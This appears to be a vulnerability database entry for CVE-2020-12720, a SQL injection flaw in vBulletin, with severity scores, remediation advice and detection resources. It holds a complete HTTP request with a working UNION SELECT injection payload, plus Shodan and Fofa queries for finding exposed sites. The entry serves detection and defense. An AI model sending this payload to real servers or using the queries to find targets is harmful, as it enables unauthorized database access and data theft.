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CVE-2020-12720: vBulletin SQL Injection

TitlevBulletin SQL Injection
Authorpdteam
SeverityCritical
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the underlying system.
RemediationApply the latest security patch or upgrade to a non-vulnerable version of vBulletin.
CVSS Score9.8
EPSS Score0.9382
CVE IDCVE-2020-12720
CWE IDCWE-306
Shodan Queryhttp.title:"powered by vbulletin"http.html:"powered by vbulletin"http.component:"vbulletin"cpe:"cpe:2.3:a:vbulletin:vbulletin"
Fofa Querybody="powered by vbulletin"title="powered by vbulletin"
Tags cve2020 cve vbulletin sqli packetstorm vkev vuln

🔍 Vulnerability Description

vBulletin before 5.5.6pl1, 5.6.0 before 5.6.0pl1, and 5.6.1 before 5.6.1pl1 has incorrect access control that permits SQL injection attacks.

🌐 HTTP Request

POST /ajax/api/content_infraction/getIndexableContent HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/4.0
Connection: close
Content-Length: 220
Accept: */*
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

nodeId%5Bnodeid%5D=1%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2CCONCAT%28%27vbulletin%27%2C%27rce%27%2C%40%40version%29%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27--+-

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-12720.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-12720.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A